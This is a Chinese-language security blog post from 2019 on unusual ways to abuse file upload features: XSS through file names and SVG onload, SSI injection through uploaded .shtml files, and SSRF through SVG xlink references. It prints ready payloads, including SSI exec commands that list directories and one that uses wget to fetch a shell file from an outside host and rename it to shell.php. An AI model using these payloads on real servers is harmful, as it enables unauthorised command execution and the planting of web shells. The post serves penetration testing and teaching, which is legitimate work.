文件上传功能的一些另类利用

0x00 前言

在实际环境中,可能会遇到各种各样的上传点,但是服务端肯定会做各种限制导致脚本无法上传或者上传后限制了解析。那么在这种情况下如何去挖掘上传点的其他一些利用方式呢,下面看一下大佬们的其他骚操作。

0x01 XSS

关于利用文件上传的XSS,早在16年大佬就给出了多种利用方式:File Upload XSS

文件名xss

windows下文件名不能包含 / \ : * ? “ < > | 字符,而linux下是可以出现除 / 字符之外的其它所有的字符,而且在Linux系统中可以使用长文件或目录名,直接利用这个特性,在上传点没有对文件名进行检测和处理的情况下就可以实现XSS攻击。

svg文件

svg它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形,是一种图片文件格式。当服务端允许上传svg类型的文件时,可进行Xss。

1
<svg xmlns="http://www.w3.org/2000/svg" onload="alert("svg-xss")/>

0x02 SSI Injection

SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。
详细参考https://www.owasp.org/index.php/Server-Side_Includes_%28SSI%29_Injection

也就说一个web服务如果开启了SSI功能,即可通过上传shtml进行文件读取甚至命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
payload
Linux:

List files of directory:

<!--#exec cmd="ls" -->
Access directories:

<!--#exec cmd="cd /root/dir/">
Execution script:

<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
Windows:

List files of directory:

<!--#exec cmd="dir" -->
Access directories:

<!--#exec cmd="cd C:\admin\dir">

0X03 SSRF

参考利用SVG图片和SSRF收集服务器内部信息
该利用同样需要支持上传svg文件,由于它是xml结构,所以支持各种xml特性,其中一个特性是XLink,支持在xml文档中创建内部或外部的超链接。
上传ssrf.xml

1
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://192.168.111.149:3000/?ssrfsvg" /></svg>

本文标题:文件上传功能的一些另类利用

文章作者:boogle

发布时间:2019年04月20日 - 23:35

最后更新:2019年04月20日 - 23:36

原始链接:https://zhengbao.wang/文件上传功能的一些另类利用/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗